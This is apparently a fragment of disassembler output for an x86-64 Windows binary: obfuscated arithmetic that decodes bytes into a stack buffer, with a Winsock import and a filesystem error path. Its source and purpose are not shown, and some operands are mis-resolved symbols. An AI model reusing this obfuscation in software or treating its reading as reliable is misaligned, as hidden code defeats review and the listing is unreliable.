lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14004e553
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14004e553
movzx r11d, r10b
lea edx, [r11 + 0x48]
mov ecx, 4
jmp 0x14004eec1
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14004ebb6
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x14004ea44
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004ebe9
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
movzx eax, byte [rbp + r10 - 0x10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004e553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004ec0d
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x14004efcf
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004ec35
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004efa6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004ea44
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
dec r10
inc r10
jmp 0x14004e553
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004ec7e
movzx r11d, r10b
lea edx, [r11 - 0x7c]
mov ecx, 0x32
jmp 0x14004eec1
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004eca8
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
dec r10
inc r10
jmp 0x14004e553
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004ecd4
movzx r11d, r10b
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004ef16
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004ecf8
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x14004efcf
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14004e9ff
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 - 0x10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004e553
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004ed6a
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 - 0x10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004e553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004ed92
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004efcf
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004edbe
movzx r11d, r10b
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004ef16
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004e9b8
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
dec r10
inc r10
jmp 0x14004e553
movzx r11d, r10b
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 - 0x10]
sub cl, al
add cl, 0x30
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004ef16
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 - 0x10]
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x14004efa6
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004ef6f
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
add rbx, r8
jmp 0x14004ef6f
movzx r11d, r10b
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x14004ef16
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14004e553
movzx r11d, r10b
lea edx, [r11 + 0x24]
mov ecx, 2
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x1c
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x3c
add r11b, r9b
mov byte [rbp + r10 - 0x10], r11b
inc r8
dec r10
inc r10
jmp 0x14004e553
movzx r11d, r10b
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
sub r11b, 0x24
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 4
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 - 0x10], r11b
add rbx, r8
jmp 0x14004ef6f
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
add rbx, r8
jmp 0x14004ef6f
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, 0x3e
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14004e553
lea rdx, [r10 + r13]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r9b
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 - 0x10], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x30
add cl, r9b
mov byte [rbp + r10 - 0x10], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 - 0x10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004e553
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2c
movzx eax, byte [rbp + r10 - 0x10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004e553
add r10b, 0x6c
movzx eax, r10b
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14004e550
add r10b, 0x74
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x2c
jmp 0x14004e540
lea rdx, [rbp + 0x160c340]
jmp 0x14004f089
lea rdx, [rbp + 0x6f17bc]
jmp 0x14004f089
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x2b0]
call fcn.140042a40
nop
lea rcx, [rbp + 0x310]
call fcn.140044560
lea rcx, [rbp + 0x2f0]
call fcn.140044560
lea rcx, [rbp + 0x2d0]
call fcn.140044560
lea rcx, [rbp + 0x2b0]
call fcn.140044560
nop
lea rcx, [rbp + 0x2b0]
call fcn.1400435c0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1400435c0
nop
lea rcx, [rbp + 0x2f0]
call fcn.1400435c0
nop
lea rcx, [rbp + 0x310]
call fcn.1400435c0
mov rcx, qword [rbp + 0x330]
xor rcx, rsp
call fcn.14013dc30
lea r11, [rsp + 0x440]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp + 0x1b0]
mov edx, eax
lea rcx, str.current_path_const_path_
call fcn.140050db0
int3